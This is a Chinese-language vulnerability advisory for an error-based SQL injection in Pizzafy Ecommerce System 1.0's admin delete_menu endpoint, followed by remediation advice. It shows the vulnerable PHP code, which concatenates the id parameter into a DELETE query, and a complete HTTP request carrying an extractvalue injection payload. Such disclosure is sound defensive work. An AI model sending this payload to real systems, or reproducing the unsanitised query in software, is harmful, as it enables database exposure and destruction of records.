# 漏洞总结:Pizzafy Ecommerce System 1.0 错误型 SQL 注入 ## 漏洞概述 * **受影响版本**:Pizzafy Ecommerce System 1.0 * **漏洞类型**:SQL 注入(基于错误的注入,Error-Based SQL Injection) * **严重程度**:HIGH * **漏洞端点**:`/pizzafy/admin/ajax.php?action=delete_menu` * **漏洞描述**:在 `DELETE` 功能中,`id` 参数未进行适当的清理,导致攻击者可以注入恶意 SQL 命令到后端数据库查询中。 ## 影响范围 * **机密性**:完整数据库架构和用户凭据泄露。 * **完整性**:未经授权删除或修改记录。 * **可用性**:大规模删除导致拒绝服务。 * **权限提升**:通过会话数据提取进行会话劫持和管理员访问。 ## 概念验证 (PoC) ### 1. 漏洞代码 (Vulnerable Code) ```php function delete_menu(){ extract($_POST); $delete = $this->conn->query("DELETE FROM product_list where id = ".$id); if($delete) { return 1; } else { return $this->conn->error; } } ``` ### 2. 利用代码 (Exploit Payload) ```http POST /pizzafy/admin/ajax.php?action=delete_menu HTTP/1.1 Host: localhost Content-Length: 5 sec-ch-ua: "" Accept: */* Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36 sec-ch-ua-platform: "" Origin: http://localhost Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: http://localhost/pizzafy/admin/index.php?page=menu Accept-Encoding: gzip, deflate Accept-Language: pt-BR,pt;q=0.9,en-US;q=0.8,en;q=0.7 Cookie: PHPSESSID=frvskm23h4ngc6r6kmu620js83 Connection: close id=-2 OR extractvalue(1,concat(0x7e,database())) -- ``` ## 修复方案 1. **使用预处理语句**:采用参数化查询以防止 SQL 注入。 2. **输入验证**:验证并清理 `id` 参数,仅允许预期值。 3. **数据库权限**:限制数据库用户权限,以限制 SQL 注入的潜在损害。 4. **监控与日志**:跟踪和警报异常模式,如低查询或重复访问尝试。 5. **安全测试**:执行定期渗透测试和代码审查,以识别和缓解漏洞。 6. **错误处理**:避免在响应中暴露数据库相关错误,这可能会帮助攻击者。